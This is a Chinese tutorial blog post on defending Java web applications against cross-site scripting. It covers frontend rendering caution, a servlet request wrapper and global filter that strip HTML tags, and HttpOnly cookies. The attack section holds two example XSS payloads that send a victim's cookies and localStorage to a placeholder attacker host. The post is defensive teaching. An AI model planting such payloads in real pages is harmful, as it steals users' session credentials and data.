Java Web项目抵御跨站脚本攻击(前后端共御)

1. XSS攻击原理

跨站脚本(XSS)攻击,指利用服务器漏洞将恶意代码以文本的形式混杂进请求数据中提交给服务器,服务器在未来渲染视图的时候会将该恶意代码也携带加载,客户端执行恶意脚本后会造成重要信息泄露。
XSS攻击的恶意代码通常是HTML标签包裹JavaScript脚本,形如<script>alert("恶意脚本")</script>,当页面中出现这种结构的文本时,浏览器会误认为是正常的标签而进行渲染。
例如,攻击者的服务器为xxx.xx.xxx.xx,它可以在超链接上裹挟脚本,通过存在漏洞的表单或者接口将此文本提交给服务器存储:

<a href=javascript:location.href="xxx.xx.xxx.xx?"+document.cookie.replaceAll("; ","&")>点我跳转</a>
<a href=javascript:location.href="xxx.xx.xxx.xx?abc="+window.localStorage.getItem("abc")>点我跳转</a>

其它用户触发该部分内容后会被流量劫持,进而将本地的Cookie和localStorage发送到了攻击者的服务器上。
在这里插入图片描述


2. 抵御思路

XSS攻击是利用了HTML标签转义上的漏洞实现代码注入的,所以抵御XSS的思路也应当从此入手。前端和服务端都有相应的职责来提升网站的安全性,不过数据最终是由服务端进行业务处理并持久化的,所以最终屏障应落在服务端上。

2.1 针对前端

在网站上动态渲染任意HTML元素是非常危险的,前端需谨慎书写会渲染HTML标签的操作行为,例如原生JS中的innerHTML属性、jQuery中的html()函数、Vue.js中的v-html指令,仅在可信的内容上使用,永远不要在用户提交的内容上采取这些动态渲染的操作
对于一些典型的表单和输入框提交逻辑,前端应在JS中完成初步校验,确保发送到服务端的数据具备基本的规范。

2.2 针对服务端

服务端应该站在“前端发送过来的数据极其不安全”的视角去处理,最大限度去过滤掉不规范的数据。因此,我们可以设置一个全局的过滤器,拦截所有用户请求,并将请求参数中所有的value值进行过滤(去掉HTML结构的文本上的标签,仅保留内容),例如文本<script>alert('恶意脚本')</script>最终会被转换为文本alert('恶意脚本'),因为失去了HTML结构,所以未来进行视图渲染时它不会被识别成JS代码。
在这里插入图片描述
此外,XSS攻击的一大重灾对象就是Cookie,Cookie的重要性不言而喻,它可能直接保存了用户的Session凭证,一旦泄露,攻击者就可以在不知道该用户账号密码的情况下虚拟该用户身份,不过好在Cookie可以在客户端上进行简单的安全设置:开启HttpOnly属性的Cookie条目将无法被JS获取,服务端只要确保返回给用户的Cookie信息中对该属性进行了设置即可。(Tomcat7、8已默认开启)


3. 代码实现

我们通过继承javax.servlet.http.HttpServletRequestWrapper来实现一个自定义装饰类,然后在该类中覆写获取请求参数的相关方法,这样便可以在不实现HttpServletRequest接口的情况下轻松的对请求方法进行增强。
获取到请求参数中的value串后,我们需要对其进行过滤,此处我们调用hutool工具包中的HtmlUtil.filter(String htmlContent)方法来去除文本中的HTML标签。

import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HtmlUtil;
import cn.hutool.json.JSONUtil;

import javax.servlet.ReadListener;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import java.io.*;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;

/**
 * 用于抵御XSS攻击的请求装饰器
 * StrUtil.hasEmpty用于判断是否为空字符串
 * HtmlUtil.filter用于过滤字符串中的HTML元素(去除标签,保留内容)
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    public XssHttpServletRequestWrapper(HttpServletRequest request) {
        super(request);
    }

    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        if (!StrUtil.hasEmpty(value)) {
            value = HtmlUtil.filter(value);
        }
        return value;
    }

    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values != null) {
            for (int i = 0; i < values.length; i++) {
                String value = values[i];
                if (!StrUtil.hasEmpty(value)) {
                    value = HtmlUtil.filter(value);
                }
                values[i] = value;
            }
        }
        return values;
    }

    @Override
    public Map<String, String[]> getParameterMap() {
        Map<String, String[]> parameters = super.getParameterMap();
        LinkedHashMap<String, String[]> map = new LinkedHashMap<>();
        if (parameters != null) {
            for (String key : parameters.keySet()) {
                String[] values = parameters.get(key);
                if (values != null) {
                    for (int i = 0; i < values.length; i++) {
                        String value = values[i];
                        if (!StrUtil.hasEmpty(value)) {
                            value = HtmlUtil.filter(value);
                        }
                        values[i] = value;
                    }
                }
                map.put(key, values);
            }
        }
        return map;
    }

    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (!StrUtil.hasEmpty(value)) {
            value = HtmlUtil.filter(value);
        }
        return value;
    }

    @Override
    public ServletInputStream getInputStream() throws IOException {
        //将in流中的内容转换成成字符串body
        InputStream in = super.getInputStream();
        StringBuffer body = new StringBuffer();
        InputStreamReader reader = new InputStreamReader(in, Charset.forName("UTF-8"));
        BufferedReader buffer = new BufferedReader(reader);
        String line = buffer.readLine();
        while (line != null) {
            body.append(line);
            line = buffer.readLine();
        }
        buffer.close();
        reader.close();
        in.close();

        //将字符串body转换为map集合,然后将其中的字符串过滤,将结果转换为JSON格式的字符串
        Map<String, Object> map = JSONUtil.parseObj(body.toString());
        Map<String, Object> resultMap = new HashMap<>(map.size());
        for (String key : map.keySet()) {
            Object value = map.get(key);
            if (map.get(key) instanceof String) {
                resultMap.put(key, HtmlUtil.filter(value.toString()));
            } else {
                resultMap.put(key, value);
            }
        }
        String str = JSONUtil.toJsonStr(resultMap);
        final ByteArrayInputStream bain = new ByteArrayInputStream(str.getBytes());

        //返回一个ServletInputStream对象,将ByteArrayInputStream引入
        return new ServletInputStream() {
            @Override
            public boolean isFinished() {
                return false;
            }

            @Override
            public boolean isReady() {
                return false;
            }

            @Override
            public void setReadListener(ReadListener readListener) {

            }

            @Override
            public int read() throws IOException {
                return bain.read();
            }
        };
    }
}

最后我们只需注册一个全局过滤器,将一切HTTP请求交给我们封装的请求装饰类处理即可:

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

/**
 * 用于抵御XSS攻击的全局过滤器
 */
@WebFilter(urlPatterns = "/*")
public class XssFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        XssHttpServletRequestWrapper wrapper = new XssHttpServletRequestWrapper((HttpServletRequest) servletRequest);
        filterChain.doFilter(wrapper,servletResponse);
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

对于返回给客户端的Cookie中的HttpOnly属性,只需调用Coookie.setHttpOnly(boolean isHttpOnly)方法即可进行设置。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值